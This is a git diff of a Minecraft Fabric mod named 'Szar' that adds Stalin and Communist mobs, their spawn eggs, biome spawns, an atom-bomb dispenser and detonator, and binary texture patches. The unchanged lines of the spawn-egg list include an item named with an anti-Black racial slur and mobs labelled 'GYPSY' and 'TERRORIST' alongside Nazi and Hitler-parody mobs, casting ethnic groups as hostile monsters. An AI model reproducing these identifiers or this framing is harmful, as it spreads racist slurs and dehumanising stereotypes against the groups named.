entries.add(Szar.HITTER_SPAWNEGG); entries.add(Szar.NAZI_SPAWNEGG); + entries.add(Szar.STALIN_SPAWNEGG); + entries.add(Szar.COMMUNIST_SPAWNEGG); entries.add(Szar.NIGGER_SPAWNEGG); entries.add(Szar.GYPSY_SPAWNEGG); entries.add(Szar.TERRORIST_SPAWNEGG); @@ -506,6 +531,7 @@ public class Szar implements ModInitializer { bullet.setVelocity(player, player.getPitch(), player.getYaw(), 0f, 4.5f, 0.0f); player.getWorld().spawnEntity(bullet); // Recoil when shooting downward while falling + stack.damage(1, player, p -> p.sendToolBreakStatus(p.getActiveHand())); recoil(player, 0.2); } } @@ -723,6 +749,14 @@ public class Szar implements ModInitializer { HitterEntityType, HitterEntity.createAttributes() ); + FabricDefaultAttributeRegistry.register( + CommunistEntityType, + CommunistEntity.createAttributes() + ); + FabricDefaultAttributeRegistry.register( + StalinEntityType, + StalinEntity.createAttributes() + ); FabricDefaultAttributeRegistry.register( MerlEntityType, MerlEntity.createAttributes() @@ -786,6 +820,12 @@ public class Szar implements ModInitializer { HitterEntityType, 1, 1, 1 ); + BiomeModifications.addSpawn( + BiomeSelectors.includeByKey(BiomeKeys.WINDSWEPT_HILLS, BiomeKeys.WINDSWEPT_GRAVELLY_HILLS, BiomeKeys.STONY_PEAKS), + SpawnGroup.MONSTER, + StalinEntityType, + 1, 1, 1 + ); BiomeModifications.addSpawn( BiomeSelectors.includeByKey(BiomeKeys.PLAINS, BiomeKeys.FOREST, BiomeKeys.FLOWER_FOREST), SpawnGroup.MONSTER, @@ -973,6 +1013,56 @@ public class Szar implements ModInitializer { return ActionResult.PASS; }); + DispenserBlock.registerBehavior(Szar.ATOM, new FallibleItemDispenserBehavior() { + @Override + protected ItemStack dispenseSilently(BlockPointer pointer, ItemStack stack) { + ServerWorld serverWorld = pointer.getWorld(); + BlockPos dispenserPos = pointer.getPos(); + Direction facing = pointer.getBlockState().get(DispenserBlock.FACING); + + // Spawn 1 block in front of the dispenser (mimics useOnBlock) + BlockPos spawnBlock = dispenserPos.offset(facing); + Vec3d spawnPos = Vec3d.ofCenter(spawnBlock).add(0, 1, 0); + + AtomEntity atom = new AtomEntity(Szar.AtomEntityType, serverWorld); + atom.setPosition(spawnPos.x, spawnPos.y, spawnPos.z); + serverWorld.spawnEntity(atom); + + // Damage item, remove if broken + stack.damage(1, serverWorld.getRandom(), null); + if (stack.getDamage() >= stack.getMaxDamage()) { + stack.decrement(1); + } + + return stack; + } + }); + ServerPlayNetworking.registerGlobalReceiver(DETONATOR_INPUT, (server, player, handler, buf, responseSender) -> { + int x = buf.readInt(); + int z = buf.readInt(); + if (!player.getMainHandStack().isOf(Szar.ATOM_DETONATOR)) {return;} + server.execute(() -> { + ServerWorld world = player.getServerWorld(); + + int topY = world.getTopY( + Heightmap.Type.WORLD_SURFACE, x, z + ); + + Vec3d spawnPos = new Vec3d(x + 0.5, topY + 100, z + 0.5); + + AtomEntity atom = new AtomEntity(Szar.AtomEntityType, world); + atom.setPosition(spawnPos.x, spawnPos.y, spawnPos.z); + atom.readCustomDataFromNbt(new NbtCompound() {{ + putBoolean("Armed", true); + }}); + + world.spawnEntity(atom); + + player.getItemCooldownManager().set(Szar.ATOM_DETONATOR, 20 * 60); + player.getMainHandStack().damage(1, player, + p -> p.sendToolBreakStatus(player.getActiveHand())); + }); + }); } // In your ModItems or wherever you register items @@ -1576,6 +1666,26 @@ public class Szar implements ModInitializer { new Item.Settings() ) ); + public static final Item STALIN_SPAWNEGG = Registry.register( + Registries.ITEM, + new Identifier(MOD_ID, "stalin_spawn_egg"), + new SpawnEggItem( + StalinEntityType, + 0xA82100, + 0x404040, + new Item.Settings() + ) + ); + public static final Item COMMUNIST_SPAWNEGG = Registry.register( + Registries.ITEM, + new Identifier(MOD_ID, "communist_spawn_egg"), + new SpawnEggItem( + CommunistEntityType, + 0xA82100, + 0xF8C912, + new Item.Settings() + ) + ); public static final Item MERL_SPAWNEGG = Registry.register( Registries.ITEM, new Identifier(MOD_ID, "merl_spawn_egg"), diff --git a/src/main/resources/assets/szar/lang/en_us.json b/src/main/resources/assets/szar/lang/en_us.json index f26a248..8338e8c 100644 --- a/src/main/resources/assets/szar/lang/en_us.json +++ b/src/main/resources/assets/szar/lang/en_us.json @@ -128,5 +128,10 @@ "item.szar.bullet_shell": "Revolver Bullet Shell", "key.categories.szar": "Szar", - "key.szar.spin": "Interact with Revolver" + "key.szar.spin": "Interact with Revolver", + + "entity.szar.stalin": "Stalin", + "item.szar.stalin_spawn_egg":"Stalin Spawn Egg", + "entity.szar.communist": "Communist", + "item.szar.communist_spawn_egg":"Communist Spawn Egg" } diff --git a/src/main/resources/assets/szar/models/item/communist_spawn_egg.json b/src/main/resources/assets/szar/models/item/communist_spawn_egg.json new file mode 100644 index 0000000..ddd1559 --- /dev/null +++ b/src/main/resources/assets/szar/models/item/communist_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} diff --git a/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json b/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json new file mode 100644 index 0000000..ddd1559 --- /dev/null +++ b/src/main/resources/assets/szar/models/item/stalin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} diff --git a/src/main/resources/assets/szar/textures/entity/communist.png b/src/main/resources/assets/szar/textures/entity/communist.png new file mode 100644 index 0000000000000000000000000000000000000000..23ffe4959d69cf59abef0dd9a090d6cd21de73e4 GIT binary patch literal 1457 zcmV;i1y1^jP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!2kdb!2!6DYwZ941x86kK~#8N?V4?D z6h#=vpR4qGw!M~XT5Ri{K%2n@wAvnr){T!MvT5JJmzG$%pp!uT3 z@~gnX51Li)zq|GDoxKVS4UJJt0WQ}?9K1cu%cDEmsFh0KwFcsR`8^(R=H)^xHVaN? zEOsby7dIvRz%bVv zJ!y?vo?e$C$k|YG?M3?g`&BP2Ki??(e>`XC`p><*nOY+C+uIBYmz7ljf0R-(gQngK z(B2&;`J_u6^E_C78C2t1Xo^~ybK42fMFcF37rOF~acJUnieE&MlIfXj{=H}<2VO1$f=p2US(xQCWy|0tD0C=Uf zgXB>vl$1@&i^+M+dF0i924JI5_i%CQ1k6}jS|}!ODXmF@_2|4_xFY~>DCf<+XJF;C zUU0d@-ibz|@L-kbsGN$^eI#%EwgkGjjVE%(NZopBDRb#sm|7xI=keUPI{LC30ZQ!L zTSIbm92258UZqYm5qQxOj$yh0KLp3gFkrpU^1FpGt%S7a8G1#K_dY|f^N8sJlzQCo z{ej;}&!h7!0!D=A_>&{)%hp2mJj3Djdb#F+x9h8@C4v!vGx%?V;)@Feg{UYJqW~v8 zDQpg4FcFwAY7QwyfP7B6<#WI@z7m+5`;XYtNibJf>g3Kd&}o+RaU3R z#>U3R#>U3R=FZ3Tmj%4v7x*7p9hdI+$+y+be!-EIm!dpWloh9Z1CVVjCqQ^Q`6BgJ zU^xNGJZ|`;_5tz@fP6bV8*q=OwB6;nP*iyRtry($$L|a(bCcJQe;>g1{t>PHe=W?9 z01oF7bRM_SmA2ibpa@!R^k9AjaB?vmBin0gNHz zT=m9C&btg+PJr`&g;c)>Kv?-hM{wZ<;QhYfl^J}G#{mBW(X$=To+NhV00000 LNkvXXu0mjf6L7}^ literal 0 HcmV?d00001 diff --git a/src/main/resources/assets/szar/textures/entity/hitter.png b/src/main/resources/assets/szar/textures/entity/hitter.png index 63004598de7a604982bf457cf6afe60ad9a9212d..db3e55ce4575c73e046dca5890b97246945d4bae 100644 GIT binary patch delta 1412 zcmV-~1$+9Y5S9y&BYyw^b5ch_0Itp)=>Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi z!TTcsB~ztg4X$7GkN?IrS*ppGXVZEWy`@v$CO0r-~i_{ z7Z(5950p(D?>lh3qmt-v#a3%inNI2&LSx;}P*E{6`Ax=!u) ze)9M^Az{dkKfu31?GX3;3dAL_0UcHW*qGU}j>UyvMSuFpzQ_1CnRc^7lc}gn)C_P7 za9^Y2j|(yLwmWS-dH=|mV@7=Tyt(*G&A0xOhw_g4 z-#Yd>mH)U!rH6Nk^u*b(BaKdnWiTEuoxbcTNl?gJ4v9-o9PrfSq|$7>^17jz8?j}_ zfI8sk`G0vwhoK`c35t2{xRx>J>)8z!-uX(cL4W^8wC`S7ab>+hI&b$~)Joy?8!MYU z^|+iG1*{gZ0kAv!%_hxV`A%FvH#H^F*_j!Uestn69e6O~D1YPMI@e=~&J;v_L{)ya zXv1oQi2I1CE}m!DRo3fVj;M5hmMUv?(cbDh-+y#XiVJh=zSBh3m>_r>ItnVQt3rUz z>qN83-!_P*&Ycee#Z4Qgv^z@^caMgCJt8|`tsc(A?6B4``fZ?{W+zz3Uklwyw}c@? zvBYPS}A)hZ(sKTsr=uRlDx z)3H9IVMrHlHz-@05>5bL{v;oRkECNCaDSWk0eRkI?99l0fYs!69cwz)dbZ&#&wYSc z_nU3|fYP2URX4Z}RVHX35ZeL8LP2Tm?0xhhkuLrIr%1inyyJg3%4Bya&6^ApW06#h%Y&biO2QXI3Umv188;9B>w z&hy%ib-xYHieo=GGr)b!)z@Yo;7fFFqBugO`;6mtm-ew{0LtQ^6UTo1YE8AQKMc+c zaPh>MGY*MLSo?u>z*aHzuRz}&uxAV#7Tn`6HXg-uL(`HpiP=Vh!?gJ1+@ zQ}sQ>56a6MvF!WqfU%tOydU@cAJx9^4!H8^n@W?okF!Ap9fyPPd1;0LqW=K}U&9-` SrKh3*0000?S9{OgZO$q;zB#) zRRGv10ob_FsRzbOhh4F7_iQaLuI^?*fjnjO(V#;6QYO#g6eR`P6C=^SFVrym$pMGH zVRnR)5T!g+TClbnM5yF`&U@lH<1%u#W!pqZ%XS`r`+qV6*f7Cv*qAn>SQy=weav<=&&oAV z%5r+z57jhu_Q{mCOdR<73z%5`VGT@}woZJ*ky^N+YRBhrgHxTR?8`m7VIpwvFSNE@ zfu^QyGJm|xfT3uli(9d^0ZvFq{r-FlCcM^}kpRqFuwYofoMgj{k`NT-`4GYQq01u) zS4WeK1mIFj3(NtNr_8YjDGH17B>)-)<5Kh12pRn1kv$N z5NlrQ$7?hC6<00lv z&B4-{;}yt1TWDd{Q$Ea}nv12yd8n?KXm4BTw?8hMV6R`8Z?9jRZ*N*wU{|gzw5wMa zsh^APz94S@+mH6Y`*Hr%_vpOTh{J~u;e69+(B1^wbwk=`04L?P50;m^ldH zZFwS%Sm{BETn$#!h=B`3Ul%o1$&H4VNn-P|T-3J@Z@E~edE6>2M#0c>km2Gl1GCX^ ze>RSFmEgdwSz&4VNZJFyu5DPHqkcj&@walc{(~dIoRrL>aJyBHO#qUlnRdOAK>c)Omb~;&>^p;RxNtkysq>Ofo%1QIW zMji3wQAU7jE=HD8ao2ets!l_J{H}8r_Wn8!r#o}ecJ(ICbkD%Swp`@oj#r?*>L(in z`MS$N)LaZ=N8>|Op6ElRJV;eH^?#%0!XWB?4~lON_O^@zZRtahr|e)`PS}1xF0&x& zE(K9pA5eAGG!LNeH-}3rW^|qd5K~{;iw%1=zzwH%u7Qa&Uws4OTdV#(xHg0f?22XxZy} zKUM!x7XZH0jI8(bQtw`>{;9W+;rUS{@BEAOdS7U&&86xewLgIS1h^-Fdjr@oJHkBy zyjgLd0Qt)DLbZ>8w%jWq_X)LMK;8i=nyUZ$Mfp-+zFisKXTW#tZSLa%yeMz;9 zG{)ak0FvD+z;>NL|GZqalO6=t;g;wkna*1b+o_J)Pw6M zMgPNnul`h$f+qc6+s`Z+_Y!dRp_5Cl<;cK`qY07*qoM6N<$ Eg5tCQ9smFU diff --git a/src/main/resources/assets/szar/textures/entity/stalin.png b/src/main/resources/assets/szar/textures/entity/stalin.png new file mode 100644 index 0000000000000000000000000000000000000000..04b657dd0d3c5055491b94736b31d54f8a67e393 GIT binary patch literal 1681 zcmV;C25$L@P)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!T@<; z2u2Laj0wyiF%k(bA>x=O7`tg83>Jn!vdXq@*~ZGK{l0fk_x5_dYj^G1k^3Z<_qq4p zyY~CM&-=W0_nw1HsI06Ep&S?(pv8+9li%+rx7$rVpN~8q5AENwQnZW5x;+O?eC)6+vEBO}z+)g{C;rSs?MZqtE;9DrVja4K>$x$MUk2f@?5-0yLIo!W*+DeCZ)(RWRthu?FT3h=fx45uThhu1iwm1j2 ze5VK-;<;ovU!cr1j&NoV$>JgA`sK^CtY)RSr5)_KF3R!$0+Cx>*~SpSzVEj-x_iL_ z+Ii??Wc))UV4H^lJ00~I9|GK440;$s7#9E5H-FHxdk)hJ9~=`l>aa05M|(ej93VRa zaIb6YGllc3h7D1@kFbUiln@xWa9IdOo7HoPmgf!%8+8C}*ATAHaOksm zIfrD5nDA?OqAKbE;!IzTYALk0w;P76_WWe|X)+)NeSHB0=d{=hK3{o+PZ$L#&Qh4NsOl)0$I4vdJQfe0zuHNUgzFx1MJHfpk-JdYys7CKhQCeQE2-V^_eM*#@n&(i$Q{vcC9T}Ed@jXGWcJYCSH=j z5uWg~6QTe~Plj^;P9bZK1KFQ1{5 z@_yx#*~*Rz9PmzPp|ElMm#%JO2UJ&ATXMkCSrhLMwQOtarrN+gwBvEZ|6s_@m!46r z$&u{iv5k$5jg5_sjg5_sjg5`XolnYN7FhkhpmxR5ki6cfT~<%^3y!qB6t#k<)D`s& zK)T5~2Mi5Qyhxo2vd#gevy14Xn)}2z0NUm7bYOWr#jGxe!n-=JzY_&({`k&dLC(ZA zwBHBt+CMN`|2HG`5nw?)fOssU>n*#>zzJq;5+U^wV3G4fV`6#D2zlXT%Oz_XvMvXh zi3iE902`5Y4v4qtsU=lT$T|lkLn@qLIR{u>Tdc1rRjmn